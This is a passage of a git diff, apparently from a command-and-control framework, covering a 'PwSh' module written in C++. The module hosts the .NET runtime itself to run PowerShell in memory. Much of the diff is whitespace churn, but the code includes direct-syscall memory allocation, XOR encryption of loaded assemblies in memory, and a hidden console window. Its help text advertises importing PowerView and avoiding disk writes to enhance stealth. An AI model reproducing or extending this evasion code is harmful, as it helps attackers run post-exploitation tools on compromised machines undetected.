riid, void** ppObject); + virtual HRESULT STDMETHODCALLTYPE SetAppDomainManager(DWORD dwAppDomainID, IUnknown* pUnkAppDomainManager); + + int setTargetAssembly(TargetAssembly * targetAssembly) + { + m_assemblyManager->setTargetAssembly(targetAssembly); + return 0; + } + + int updateTargetAssembly(ICLRAssemblyIdentityManager* identityManager, const std::string& data) + { + m_assemblyManager->updateTargetAssembly(identityManager, data); + return 0; + } + + LPWSTR getAssemblyInfo() + { + return m_assemblyManager->getAssemblyInfo(); + }; + + + const std::vector& getVirtualAllocList() + { + return m_memoryManager->getVirtualAllocList(); + } + + const std::vector& getMallocList() + { + return m_memoryManager->getMallocList(); + } + + int xorMemory(const std::string& xorKey) + { + std::vector vitualAllocList = getVirtualAllocList(); + + for (auto it = vitualAllocList.begin(); it != vitualAllocList.end(); ++it) + { + MemAllocEntry* entry = *it; + if (entry->Address && entry->type == MEM_ALLOC_MAPPED_FILE) + { + XOREncrypt2((char*)entry->Address, entry->size, xorKey); + } + } + + MEMORY_BASIC_INFORMATION memInfo; + DWORD oldProtect; + std::vector mallocList = getMallocList(); + for (auto it = mallocList.begin(); it != mallocList.end(); ++it) + { + MemAllocEntry* entry = *it; + + if(entry->Address) + { + ::VirtualQuery(entry->Address, &memInfo, sizeof(MEMORY_BASIC_INFORMATION)); + + if (memInfo.AllocationProtect != 0 && memInfo.State != 0x2000 && memInfo.State != 0x10000) + { + if (memInfo.Protect != PAGE_READWRITE) + { + ::VirtualProtect(memInfo.BaseAddress, memInfo.RegionSize, PAGE_READWRITE, &oldProtect); + XOREncrypt2((char*)memInfo.BaseAddress, memInfo.RegionSize, xorKey); + ::VirtualProtect(memInfo.BaseAddress, memInfo.RegionSize, oldProtect, &oldProtect); + } + else + { + XOREncrypt2((char*)memInfo.BaseAddress, memInfo.RegionSize, xorKey); + } + } + } + } + + return 0; + } + +protected: + DWORD count; + +private: + MyAssemblyManager* m_assemblyManager; + MyMemoryManager* m_memoryManager; + +}; diff --git a/modules/PwSh/HostMalloc.cpp b/modules/PwSh/HostMalloc.cpp index 3247175..804b628 100644 --- a/modules/PwSh/HostMalloc.cpp +++ b/modules/PwSh/HostMalloc.cpp @@ -1,101 +1,101 @@ -#include "HostMalloc.hpp" -#include "MemoryManager.hpp" - -#include - - -MyHostMalloc::MyHostMalloc(void) -{ - count = 0; -} - - -MyHostMalloc::~MyHostMalloc(void) -{ - -} - - -HRESULT STDMETHODCALLTYPE MyHostMalloc::QueryInterface(REFIID vTableGuid, void** ppv) -{ - if (!IsEqualIID(vTableGuid, IID_IUnknown) && !IsEqualIID(vTableGuid, IID_IHostMalloc)) - { - *ppv = 0; - return E_NOINTERFACE; - } - *ppv = this; - this->AddRef(); - return S_OK; -} - - -ULONG STDMETHODCALLTYPE MyHostMalloc::AddRef() -{ - return(++((MyHostMalloc*)this)->count); -} - - -ULONG STDMETHODCALLTYPE MyHostMalloc::Release() -{ - if (--this->count == 0) - { - GlobalFree(this); - return 0; - } - return this->count; -} - - -HRESULT MyHostMalloc::Alloc(SIZE_T cbSize, EMemoryCriticalLevel eCriticalLevel, void** ppMem) -{ - LPVOID allocAddress = ::HeapAlloc(this->hHeap, 0, cbSize); - // std::cout << "MyHostMalloc::Alloc " << std::hex << allocAddress << std::endl; - - MemAllocEntry* allocEntry = new MemAllocEntry(); - allocEntry->Address = allocAddress; - allocEntry->size = cbSize; - allocEntry->type = MEM_ALLOC_MALLOC; - m_memAllocList.push_back(allocEntry); - - *ppMem = allocAddress; - if (*ppMem == NULL) - { - return E_OUTOFMEMORY; - } - else - { - return S_OK; - } -} - - -HRESULT MyHostMalloc::DebugAlloc(SIZE_T cbSize, EMemoryCriticalLevel eCriticalLevel, char* pszFileName, int iLineNo, void** ppMem) -{ - // std::cout << "MyHostMalloc::DebugAlloc" << std::endl; - - *ppMem = ::HeapAlloc(this->hHeap, 0, cbSize); - if (*ppMem == NULL) - { - return E_OUTOFMEMORY; - } - else - { - return S_OK; - } -} - - -HRESULT MyHostMalloc::Free(void* pMem) -{ - // std::cout << "MyHostMalloc::Free" << std::endl; - - if (!::HeapValidate(this->hHeap, 0, pMem)) - { - // std::cout << "Detected corrupted heap" << std::endl; - return E_OUTOFMEMORY; - } - ::HeapFree(this->hHeap, 0, pMem); - pMem = nullptr; - - return S_OK; +#include "HostMalloc.hpp" +#include "MemoryManager.hpp" + +#include + + +MyHostMalloc::MyHostMalloc(void) +{ + count = 0; +} + + +MyHostMalloc::~MyHostMalloc(void) +{ + +} + + +HRESULT STDMETHODCALLTYPE MyHostMalloc::QueryInterface(REFIID vTableGuid, void** ppv) +{ + if (!IsEqualIID(vTableGuid, IID_IUnknown) && !IsEqualIID(vTableGuid, IID_IHostMalloc)) + { + *ppv = 0; + return E_NOINTERFACE; + } + *ppv = this; + this->AddRef(); + return S_OK; +} + + +ULONG STDMETHODCALLTYPE MyHostMalloc::AddRef() +{ + return(++((MyHostMalloc*)this)->count); +} + + +ULONG STDMETHODCALLTYPE MyHostMalloc::Release() +{ + if (--this->count == 0) + { + GlobalFree(this); + return 0; + } + return this->count; +} + + +HRESULT MyHostMalloc::Alloc(SIZE_T cbSize, EMemoryCriticalLevel eCriticalLevel, void** ppMem) +{ + LPVOID allocAddress = ::HeapAlloc(this->hHeap, 0, cbSize); + // std::cout << "MyHostMalloc::Alloc " << std::hex << allocAddress << std::endl; + + MemAllocEntry* allocEntry = new MemAllocEntry(); + allocEntry->Address = allocAddress; + allocEntry->size = cbSize; + allocEntry->type = MEM_ALLOC_MALLOC; + m_memAllocList.push_back(allocEntry); + + *ppMem = allocAddress; + if (*ppMem == NULL) + { + return E_OUTOFMEMORY; + } + else + { + return S_OK; + } +} + + +HRESULT MyHostMalloc::DebugAlloc(SIZE_T cbSize, EMemoryCriticalLevel eCriticalLevel, char* pszFileName, int iLineNo, void** ppMem) +{ + // std::cout << "MyHostMalloc::DebugAlloc" << std::endl; + + *ppMem = ::HeapAlloc(this->hHeap, 0, cbSize); + if (*ppMem == NULL) + { + return E_OUTOFMEMORY; + } + else + { + return S_OK; + } +} + + +HRESULT MyHostMalloc::Free(void* pMem) +{ + // std::cout << "MyHostMalloc::Free" << std::endl; + + if (!::HeapValidate(this->hHeap, 0, pMem)) + { + // std::cout << "Detected corrupted heap" << std::endl; + return E_OUTOFMEMORY; + } + ::HeapFree(this->hHeap, 0, pMem); + pMem = nullptr; + + return S_OK; } \ No newline at end of file diff --git a/modules/PwSh/HostMalloc.hpp b/modules/PwSh/HostMalloc.hpp index e944bba..8fbdb2b 100644 --- a/modules/PwSh/HostMalloc.hpp +++ b/modules/PwSh/HostMalloc.hpp @@ -1,53 +1,53 @@ -#pragma once -#include -#include -#include - -#include - - -typedef enum -{ - MEM_ALLOC_LIST_HEAD, - MEM_ALLOC_MALLOC, - MEM_ALLOC_VIRTUALALLOC, - MEM_ALLOC_MAPPED_FILE -} memAllocTracker; - - -typedef struct _MemAllocEntry -{ - SLIST_ENTRY allocEntry; - void* Address; - SIZE_T size; - memAllocTracker type; -} MemAllocEntry; - - -class MyHostMalloc : public IHostMalloc -{ -public: - MyHostMalloc(void); - ~MyHostMalloc(void); - - virtual HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid,void **ppv); - virtual ULONG STDMETHODCALLTYPE AddRef(void); - virtual ULONG STDMETHODCALLTYPE Release(void); - - virtual HRESULT Alloc(SIZE_T cbSize, EMemoryCriticalLevel eCriticalLevel, void** ppMem); - virtual HRESULT DebugAlloc(SIZE_T cbSize, EMemoryCriticalLevel eCriticalLevel, char* pszFileName, int iLineNo, void** ppMem); - virtual HRESULT Free(void* pMem); - - HANDLE hHeap; - - const std::vector& getMemAllocList() - { - return m_memAllocList; - } - -protected: - DWORD count; - -private: - std::vector m_memAllocList; +#pragma once +#include +#include +#include + +#include + + +typedef enum +{ + MEM_ALLOC_LIST_HEAD, + MEM_ALLOC_MALLOC, + MEM_ALLOC_VIRTUALALLOC, + MEM_ALLOC_MAPPED_FILE +} memAllocTracker; + + +typedef struct _MemAllocEntry +{ + SLIST_ENTRY allocEntry; + void* Address; + SIZE_T size; + memAllocTracker type; +} MemAllocEntry; + + +class MyHostMalloc : public IHostMalloc +{ +public: + MyHostMalloc(void); + ~MyHostMalloc(void); + + virtual HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid,void **ppv); + virtual ULONG STDMETHODCALLTYPE AddRef(void); + virtual ULONG STDMETHODCALLTYPE Release(void); + + virtual HRESULT Alloc(SIZE_T cbSize, EMemoryCriticalLevel eCriticalLevel, void** ppMem); + virtual HRESULT DebugAlloc(SIZE_T cbSize, EMemoryCriticalLevel eCriticalLevel, char* pszFileName, int iLineNo, void** ppMem); + virtual HRESULT Free(void* pMem); + + HANDLE hHeap; + + const std::vector& getMemAllocList() + { + return m_memAllocList; + } + +protected: + DWORD count; + +private: + std::vector m_memAllocList; }; \ No newline at end of file diff --git a/modules/PwSh/MemoryManager.cpp b/modules/PwSh/MemoryManager.cpp index d1c883b..229f631 100644 --- a/modules/PwSh/MemoryManager.cpp +++ b/modules/PwSh/MemoryManager.cpp @@ -1,178 +1,178 @@ -#include "MemoryManager.hpp" -#include "HostMalloc.hpp" - -#include - - -MyMemoryManager::MyMemoryManager(void) -{ - count = 0; - m_mallocManager = new MyHostMalloc(); -} - - -MyMemoryManager::~MyMemoryManager(void) -{ - delete m_mallocManager; -} - - -HRESULT STDMETHODCALLTYPE MyMemoryManager::QueryInterface(REFIID vTableGuid, void** ppv) -{ - if (!IsEqualIID(vTableGuid, IID_IUnknown) && !IsEqualIID(vTableGuid, IID_IHostMemoryManager)) - { - *ppv = 0; - return E_NOINTERFACE; - } - *ppv = this; - this->AddRef(); - return S_OK; -} - - -ULONG STDMETHODCALLTYPE MyMemoryManager::AddRef() -{ - return(++((MyMemoryManager*)this)->count); -} - - -ULONG STDMETHODCALLTYPE MyMemoryManager::Release() -{ - if (--((MyMemoryManager*)this)->count == 0) - { - GlobalFree(this); - return 0; - } - return ((MyMemoryManager*)this)->count; -} - - -// This is called when the CLR wants to do heap allocations, it's responsible for returning our implementation of IHostMalloc -HRESULT MyMemoryManager::CreateMalloc(DWORD dwMallocType, IHostMalloc** ppMalloc) -{ - // std::cout << "MyMemoryManager::CreateMalloc" << std::endl; - - //C reate a heap and add it to our interface struct - HANDLE hHeap = NULL; - if (dwMallocType & MALLOC_EXECUTABLE) - { - hHeap = ::HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0); - } - else - { - hHeap = ::HeapCreate(0, 0, 0); - } - m_mallocManager->hHeap = hHeap; - - *ppMalloc = m_mallocManager; - return S_OK; -} - - -//The Virtual* API calls are responsible for non-heap memory management, you can just call the Virtual* APIs as intended or implement your own routines -HRESULT MyMemoryManager::VirtualAlloc(void* pAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect, EMemoryCriticalLevel eCriticalLevel, void** ppMem) -{ - LPVOID allocAddress=NULL; - HANDLE hProcess = GetCurrentProcess(); - Sw3NtAllocateVirtualMemory_(hProcess, &pAddress, 0, &dwSize, flAllocationType, flProtect); - allocAddress = pAddress; - - // LPVOID allocAddress = ::VirtualAlloc(pAddress, dwSize, flAllocationType, flProtect); - - // std::cout << "MyMemoryManager::VirtualAlloc " << std::hex << allocAddress << std::endl; - - *ppMem = allocAddress; - - MemAllocEntry* allocEntry = new MemAllocEntry(); - allocEntry->Address = allocAddress; - allocEntry->size = dwSize; - allocEntry->type = MEM_ALLOC_VIRTUALALLOC; - m_memAllocList.push_back(allocEntry); - - return S_OK; -} - - -HRESULT MyMemoryManager::VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType) -{ - // std::cout << "MyMemoryManager::VirtualFree" << std::endl; - - ::VirtualFree(lpAddress, dwSize, dwFreeType); - lpAddress = nullptr; - - return S_OK; -} - - -HRESULT MyMemoryManager::VirtualQuery(void* lpAddress, void* lpBuffer, SIZE_T dwLength, SIZE_T* pResult) -{ - // std::cout << "MyMemoryManager::VirtualQuery" << std::endl; - - *pResult = ::VirtualQuery(lpAddress, (PMEMORY_BASIC_INFORMATION)lpBuffer, dwLength); - return S_OK; -} - - -HRESULT MyMemoryManager::VirtualProtect(void* lpAddress, SIZE_T dwSize, DWORD flNewProtect, DWORD* pflOldProtect) -{ - // std::cout << "MyMemoryManager::VirtualProtect" << std::endl; - - HANDLE hProcess = GetCurrentProcess(); - Sw3NtProtectVirtualMemory_(hProcess, &lpAddress, &dwSize, flNewProtect, pflOldProtect); - - // ::VirtualProtect(lpAddress, dwSize, flNewProtect, pflOldProtect); - - return S_OK; -} - - -HRESULT MyMemoryManager::GetMemoryLoad(DWORD* pMemoryLoad, SIZE_T* pAvailableBytes) -{ - // std::cout << "MyMemoryManager::GetMemoryLoad" << std::endl; - - //Just returning arbitrary values - *pMemoryLoad = 30; - *pAvailableBytes = 100 * 1024 * 1024; - return S_OK; -} - - -HRESULT MyMemoryManager::RegisterMemoryNotificationCallback(ICLRMemoryNotificationCallback* pCallback) -{ - // std::cout << "MyMemoryManager::RegisterMemoryNotificationCallback" << std::endl; - return S_OK; -} - - -HRESULT MyMemoryManager::NeedsVirtualAddressSpace(LPVOID startAddress, SIZE_T size) -{ - // std::cout << "MyMemoryManager::NeedsVirtualAddressSpace" << std::endl; - return S_OK; -} - - -// -// This is a notification callback that will be triggered whenever a .NET assembly is loaded into the process -// -HRESULT MyMemoryManager::AcquiredVirtualAddressSpace(LPVOID startAddress, SIZE_T size) -{ - // std::cout << "MyMemoryManager::AcquiredVirtualAddressSpace" << std::endl; - // std::cout << "Mapped file with size " << size << " bytes into memory at " << std::hex << startAddress << std::endl; - - //This is used to track the assemblies that are mapped into the process - MemAllocEntry* allocEntry = new MemAllocEntry(); - allocEntry->Address = startAddress; - allocEntry->size = size; - allocEntry->type = MEM_ALLOC_MAPPED_FILE; - m_memAllocList.push_back(allocEntry); - - - return S_OK; -} - - -HRESULT MyMemoryManager::ReleasedVirtualAddressSpace(LPVOID startAddress) -{ - // std::cout << "MyMemoryManager::ReleasedVirtualAddressSpace" << std::endl; - return S_OK; +#include "MemoryManager.hpp" +#include "HostMalloc.hpp" + +#include + + +MyMemoryManager::MyMemoryManager(void) +{ + count = 0; + m_mallocManager = new MyHostMalloc(); +} + + +MyMemoryManager::~MyMemoryManager(void) +{ + delete m_mallocManager; +} + + +HRESULT STDMETHODCALLTYPE MyMemoryManager::QueryInterface(REFIID vTableGuid, void** ppv) +{ + if (!IsEqualIID(vTableGuid, IID_IUnknown) && !IsEqualIID(vTableGuid, IID_IHostMemoryManager)) + { + *ppv = 0; + return E_NOINTERFACE; + } + *ppv = this; + this->AddRef(); + return S_OK; +} + + +ULONG STDMETHODCALLTYPE MyMemoryManager::AddRef() +{ + return(++((MyMemoryManager*)this)->count); +} + + +ULONG STDMETHODCALLTYPE MyMemoryManager::Release() +{ + if (--((MyMemoryManager*)this)->count == 0) + { + GlobalFree(this); + return 0; + } + return ((MyMemoryManager*)this)->count; +} + + +// This is called when the CLR wants to do heap allocations, it's responsible for returning our implementation of IHostMalloc +HRESULT MyMemoryManager::CreateMalloc(DWORD dwMallocType, IHostMalloc** ppMalloc) +{ + // std::cout << "MyMemoryManager::CreateMalloc" << std::endl; + + //C reate a heap and add it to our interface struct + HANDLE hHeap = NULL; + if (dwMallocType & MALLOC_EXECUTABLE) + { + hHeap = ::HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0); + } + else + { + hHeap = ::HeapCreate(0, 0, 0); + } + m_mallocManager->hHeap = hHeap; + + *ppMalloc = m_mallocManager; + return S_OK; +} + + +//The Virtual* API calls are responsible for non-heap memory management, you can just call the Virtual* APIs as intended or implement your own routines +HRESULT MyMemoryManager::VirtualAlloc(void* pAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect, EMemoryCriticalLevel eCriticalLevel, void** ppMem) +{ + LPVOID allocAddress=NULL; + HANDLE hProcess = GetCurrentProcess(); + Sw3NtAllocateVirtualMemory_(hProcess, &pAddress, 0, &dwSize, flAllocationType, flProtect); + allocAddress = pAddress; + + // LPVOID allocAddress = ::VirtualAlloc(pAddress, dwSize, flAllocationType, flProtect); + + // std::cout << "MyMemoryManager::VirtualAlloc " << std::hex << allocAddress << std::endl; + + *ppMem = allocAddress; + + MemAllocEntry* allocEntry = new MemAllocEntry(); + allocEntry->Address = allocAddress; + allocEntry->size = dwSize; + allocEntry->type = MEM_ALLOC_VIRTUALALLOC; + m_memAllocList.push_back(allocEntry); + + return S_OK; +} + + +HRESULT MyMemoryManager::VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType) +{ + // std::cout << "MyMemoryManager::VirtualFree" << std::endl; + + ::VirtualFree(lpAddress, dwSize, dwFreeType); + lpAddress = nullptr; + + return S_OK; +} + + +HRESULT MyMemoryManager::VirtualQuery(void* lpAddress, void* lpBuffer, SIZE_T dwLength, SIZE_T* pResult) +{ + // std::cout << "MyMemoryManager::VirtualQuery" << std::endl; + + *pResult = ::VirtualQuery(lpAddress, (PMEMORY_BASIC_INFORMATION)lpBuffer, dwLength); + return S_OK; +} + + +HRESULT MyMemoryManager::VirtualProtect(void* lpAddress, SIZE_T dwSize, DWORD flNewProtect, DWORD* pflOldProtect) +{ + // std::cout << "MyMemoryManager::VirtualProtect" << std::endl; + + HANDLE hProcess = GetCurrentProcess(); + Sw3NtProtectVirtualMemory_(hProcess, &lpAddress, &dwSize, flNewProtect, pflOldProtect); + + // ::VirtualProtect(lpAddress, dwSize, flNewProtect, pflOldProtect); + + return S_OK; +} + + +HRESULT MyMemoryManager::GetMemoryLoad(DWORD* pMemoryLoad, SIZE_T* pAvailableBytes) +{ + // std::cout << "MyMemoryManager::GetMemoryLoad" << std::endl; + + //Just returning arbitrary values + *pMemoryLoad = 30; + *pAvailableBytes = 100 * 1024 * 1024; + return S_OK; +} + + +HRESULT MyMemoryManager::RegisterMemoryNotificationCallback(ICLRMemoryNotificationCallback* pCallback) +{ + // std::cout << "MyMemoryManager::RegisterMemoryNotificationCallback" << std::endl; + return S_OK; +} + + +HRESULT MyMemoryManager::NeedsVirtualAddressSpace(LPVOID startAddress, SIZE_T size) +{ + // std::cout << "MyMemoryManager::NeedsVirtualAddressSpace" << std::endl; + return S_OK; +} + + +// +// This is a notification callback that will be triggered whenever a .NET assembly is loaded into the process +// +HRESULT MyMemoryManager::AcquiredVirtualAddressSpace(LPVOID startAddress, SIZE_T size) +{ + // std::cout << "MyMemoryManager::AcquiredVirtualAddressSpace" << std::endl; + // std::cout << "Mapped file with size " << size << " bytes into memory at " << std::hex << startAddress << std::endl; + + //This is used to track the assemblies that are mapped into the process + MemAllocEntry* allocEntry = new MemAllocEntry(); + allocEntry->Address = startAddress; + allocEntry->size = size; + allocEntry->type = MEM_ALLOC_MAPPED_FILE; + m_memAllocList.push_back(allocEntry); + + + return S_OK; +} + + +HRESULT MyMemoryManager::ReleasedVirtualAddressSpace(LPVOID startAddress) +{ + // std::cout << "MyMemoryManager::ReleasedVirtualAddressSpace" << std::endl; + return S_OK; } \ No newline at end of file diff --git a/modules/PwSh/MemoryManager.hpp b/modules/PwSh/MemoryManager.hpp index 1ff16d5..992a3a3 100644 --- a/modules/PwSh/MemoryManager.hpp +++ b/modules/PwSh/MemoryManager.hpp @@ -1,49 +1,49 @@ -#pragma once -#include "HostMalloc.hpp" - -#include - -#include - - -class MyMemoryManager : public IHostMemoryManager -{ -public: - MyMemoryManager(void); - ~MyMemoryManager(void); - - virtual HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid,void **ppv); - virtual ULONG STDMETHODCALLTYPE AddRef(void); - virtual ULONG STDMETHODCALLTYPE Release(void); - - virtual HRESULT CreateMalloc(DWORD dwMallocType, IHostMalloc** ppMalloc); - virtual HRESULT VirtualAlloc(void* pAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect, EMemoryCriticalLevel eCriticalLevel, void** ppMem); - virtual HRESULT VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType); - virtual HRESULT VirtualQuery(void* lpAddress, void* lpBuffer, SIZE_T dwLength, SIZE_T* pResult); - virtual HRESULT VirtualProtect(void* lpAddress, SIZE_T dwSize, DWORD flNewProtect, DWORD* pflOldProtect); - virtual HRESULT GetMemoryLoad(DWORD* pMemoryLoad, SIZE_T* pAvailableBytes); - virtual HRESULT RegisterMemoryNotificationCallback(ICLRMemoryNotificationCallback* pCallback); - virtual HRESULT NeedsVirtualAddressSpace(LPVOID startAddress, SIZE_T size); - virtual HRESULT AcquiredVirtualAddressSpace(LPVOID startAddress, SIZE_T size); - virtual HRESULT ReleasedVirtualAddressSpace(LPVOID startAddress); - - const std::vector& getVirtualAllocList() - { - return m_memAllocList; - } - - const std::vector& getMallocList() - { - return m_mallocManager->getMemAllocList(); - } - - -protected: - DWORD count; - -private: - MyHostMalloc* m_mallocManager; - - std::vector m_memAllocList; - +#pragma once +#include "HostMalloc.hpp" + +#include + +#include + + +class MyMemoryManager : public IHostMemoryManager +{ +public: + MyMemoryManager(void); + ~MyMemoryManager(void); + + virtual HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid,void **ppv); + virtual ULONG STDMETHODCALLTYPE AddRef(void); + virtual ULONG STDMETHODCALLTYPE Release(void); + + virtual HRESULT CreateMalloc(DWORD dwMallocType, IHostMalloc** ppMalloc); + virtual HRESULT VirtualAlloc(void* pAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect, EMemoryCriticalLevel eCriticalLevel, void** ppMem); + virtual HRESULT VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType); + virtual HRESULT VirtualQuery(void* lpAddress, void* lpBuffer, SIZE_T dwLength, SIZE_T* pResult); + virtual HRESULT VirtualProtect(void* lpAddress, SIZE_T dwSize, DWORD flNewProtect, DWORD* pflOldProtect); + virtual HRESULT GetMemoryLoad(DWORD* pMemoryLoad, SIZE_T* pAvailableBytes); + virtual HRESULT RegisterMemoryNotificationCallback(ICLRMemoryNotificationCallback* pCallback); + virtual HRESULT NeedsVirtualAddressSpace(LPVOID startAddress, SIZE_T size); + virtual HRESULT AcquiredVirtualAddressSpace(LPVOID startAddress, SIZE_T size); + virtual HRESULT ReleasedVirtualAddressSpace(LPVOID startAddress); + + const std::vector& getVirtualAllocList() + { + return m_memAllocList; + } + + const std::vector& getMallocList() + { + return m_mallocManager->getMemAllocList(); + } + + +protected: + DWORD count; + +private: + MyHostMalloc* m_mallocManager; + + std::vector m_memAllocList; + }; \ No newline at end of file diff --git a/modules/PwSh/PwSh.cpp b/modules/PwSh/PwSh.cpp index 0032891..4c4f7da 100644 --- a/modules/PwSh/PwSh.cpp +++ b/modules/PwSh/PwSh.cpp @@ -42,39 +42,39 @@ __attribute__((visibility("default"))) PwSh* PwShConstructor() PwSh::PwSh() #ifdef BUILD_TEAMSERVER - : ModuleCmd(std::string(moduleName), moduleHash) + : ModuleCmd(std::string(moduleName), moduleHash) #else - : ModuleCmd("", moduleHash) + : ModuleCmd("", moduleHash) #endif { #ifdef _WIN32 - m_firstRun=true; - m_moduleLoaded=false; - m_memEcrypted=false; + m_firstRun=true; + m_moduleLoaded=false; + m_memEcrypted=false; - m_pMetaHost = NULL; - m_pRuntimeInfo=NULL; - m_pClrRuntimeHost=NULL; - m_pCustomHostControl=NULL; - m_pCorHost=NULL; - m_spAppDomainThunk=NULL; - m_spDefaultAppDomain=NULL; - m_targetAssembly=NULL; + m_pMetaHost = NULL; + m_pRuntimeInfo=NULL; + m_pClrRuntimeHost=NULL; + m_pCustomHostControl=NULL; + m_pCorHost=NULL; + m_spAppDomainThunk=NULL; + m_spDefaultAppDomain=NULL; + m_targetAssembly=NULL; - // need a console to catch output from dotnet when using non consol application - // https://www.coresecurity.com/core-labs/articles/running-pes-inline-without-console - if (GetConsoleWindow() == NULL) - { - AllocConsole(); - HWND conHandle = GetConsoleWindow(); - ShowWindow(conHandle, SW_HIDE); - } + // need a console to catch output from dotnet when using non consol application + // https://www.coresecurity.com/core-labs/articles/running-pes-inline-without-console + if (GetConsoleWindow() == NULL) + { + AllocConsole(); + HWND conHandle = GetConsoleWindow(); + ShowWindow(conHandle, SW_HIDE); + } - // An interesting caveat that I found during the development of this tool was that while the redirection for PowerShell worked perfectly the first time, all subsequent calls failed. - // This turned out to be because I was creating a new anonymous pipe on each run and closing it upon cleanup. PowerShell caches the first handle it uses for standard output and when it gets closed, the output redirection breaks down. - // !!! we cannot reuse other pipe during all the life of this CLR -> unload / load new module will not work ! - SECURITY_ATTRIBUTES sa = { sizeof(SECURITY_ATTRIBUTES), NULL, TRUE }; - CreatePipe(&m_ioPipeRead, &m_ioPipeWrite, &sa, 0x100000); + // An interesting caveat that I found during the development of this tool was that while the redirection for PowerShell worked perfectly the first time, all subsequent calls failed. + // This turned out to be because I was creating a new anonymous pipe on each run and closing it upon cleanup. PowerShell caches the first handle it uses for standard output and when it gets closed, the output redirection breaks down. + // !!! we cannot reuse other pipe during all the life of this CLR -> unload / load new module will not work ! + SECURITY_ATTRIBUTES sa = { sizeof(SECURITY_ATTRIBUTES), NULL, TRUE }; + CreatePipe(&m_ioPipeRead, &m_ioPipeWrite, &sa, 0x100000); #endif } @@ -82,11 +82,11 @@ PwSh::PwSh() PwSh::~PwSh() { #ifdef _WIN32 - clearAssembly(); - clearCLR(); + clearAssembly(); + clearCLR(); - CloseHandle(m_ioPipeWrite); - CloseHandle(m_ioPipeRead); + CloseHandle(m_ioPipeWrite); + CloseHandle(m_ioPipeRead); #endif } @@ -94,101 +94,101 @@ PwSh::~PwSh() int PwSh::clearCLR() { #ifdef _WIN32 - if(m_targetAssembly) - { - delete m_targetAssembly; - m_targetAssembly = NULL; - } - if(m_spDefaultAppDomain) - { - m_spDefaultAppDomain->Release(); - m_spDefaultAppDomain = NULL; - } - if(m_spAppDomainThunk) - { - m_spAppDomainThunk->Release(); - m_spAppDomainThunk = NULL; - } - if(m_pCorHost) - { - m_pCorHost->Release(); - m_pCorHost = NULL; - } - if(m_pCustomHostControl) - { - delete m_pCustomHostControl; - m_pCustomHostControl = NULL; - } - if (m_pClrRuntimeHost) - { - m_pClrRuntimeHost->Release(); - m_pClrRuntimeHost = NULL; - } - if(m_pRuntimeInfo) - { - m_pRuntimeInfo->Release(); - m_pRuntimeInfo = NULL; - } - if(m_pMetaHost) - { - m_pMetaHost->Release(); - m_pMetaHost = NULL; - } - m_firstRun=true; + if(m_targetAssembly) + { + delete m_targetAssembly; + m_targetAssembly = NULL; + } + if(m_spDefaultAppDomain) + { + m_spDefaultAppDomain->Release(); + m_spDefaultAppDomain = NULL; + } + if(m_spAppDomainThunk) + { + m_spAppDomainThunk->Release(); + m_spAppDomainThunk = NULL; + } + if(m_pCorHost) + { + m_pCorHost->Release(); + m_pCorHost = NULL; + } + if(m_pCustomHostControl) + { + delete m_pCustomHostControl; + m_pCustomHostControl = NULL; + } + if (m_pClrRuntimeHost) + { + m_pClrRuntimeHost->Release(); + m_pClrRuntimeHost = NULL; + } + if(m_pRuntimeInfo) + { + m_pRuntimeInfo->Release(); + m_pRuntimeInfo = NULL; + } + if(m_pMetaHost) + { + m_pMetaHost->Release(); + m_pMetaHost = NULL; + } + m_firstRun=true; #endif - return 0; + return 0; } int PwSh::clearAssembly() { #ifdef _WIN32 - m_moduleLoaded=false; - m_memEcrypted=false; + m_moduleLoaded=false; + m_memEcrypted=false; #endif - return 0; + return 0; } std::string PwSh::getInfo() { - std::string info; + std::string info; #ifdef BUILD_TEAMSERVER - info += "PwSh Module:\n"; - info += "This module allows you to load and execute a custom PowerShell instance entirely in memory.\n"; - info += "The execution occurs within the current process.\n\n"; + info += "PwSh Module:\n"; + info += "This module allows you to load and execute a custom PowerShell instance entirely in memory.\n"; + info += "The execution occurs within the current process.\n\n"; - info += "Usage:\n"; - info += " pwSh init \n"; - info += " - Arguments are optional. If not provided, the default PowerShell instance DLL will be loaded.\n"; - info += " - The DLL must implment this methode: \"public string Invoke(string command)\".\n"; - info += " - Loads the PowerShell .NET assembly DLL into memory.\n"; - info += " - For DLLs, you must specify the fully qualified type name (e.g., Namespace.ClassName).\n\n"; + info += "Usage:\n"; + info += " pwSh init \n"; + info += " - Arguments are optional. If not provided, the default PowerShell instance DLL will be loaded.\n"; + info += " - The DLL must implment this methode: \"public string Invoke(string command)\".\n"; + info += " - Loads the PowerShell .NET assembly DLL into memory.\n"; + info += " - For DLLs, you must specify the fully qualified type name (e.g., Namespace.ClassName).\n\n"; - info += " pwSh run \n"; - info += " - Executes the given PowerShell command.\n\n"; + info += " pwSh run \n"; + info += " - Executes the given PowerShell command.\n\n"; - info += " pwSh import \n"; - info += " - Import the powersehll module (e.g., PowerView.ps1)\n\n"; + info += " pwSh import \n"; + info += " - Import the powersehll module (e.g., PowerView.ps1)\n\n"; - info += " pwSh script \n"; - info += " - execute the powersehll script.\n\n"; + info += " pwSh script \n"; + info += " - execute the powersehll script.\n\n"; - info += "Examples:\n"; - info += " pwSh init\n"; - info += " pwSh init customPS.dll CustomPS.PowerShell\n\n"; - info += " pwSh run whoami\n"; - info += " pwSh run $x = 4; Write-Output $x\n\n"; + info += "Examples:\n"; + info += " pwSh init\n"; + info += " pwSh init customPS.dll CustomPS.PowerShell\n\n"; + info += " pwSh run whoami\n"; + info += " pwSh run $x = 4; Write-Output $x\n\n"; - info += "Notes:\n"; - info += " - Assemblies are kept in memory and can be reused without reloading.\n"; - info += " - Ensure the correct type and method names are specified when using custom DLLs.\n"; - info += " - This module avoids writing files to disk, enhancing stealth.\n"; - info += " - If you run 'init' in a process where the CLR is already loaded, you may encounter:\n"; - info += " 'Failed: DefaultAppDomain - 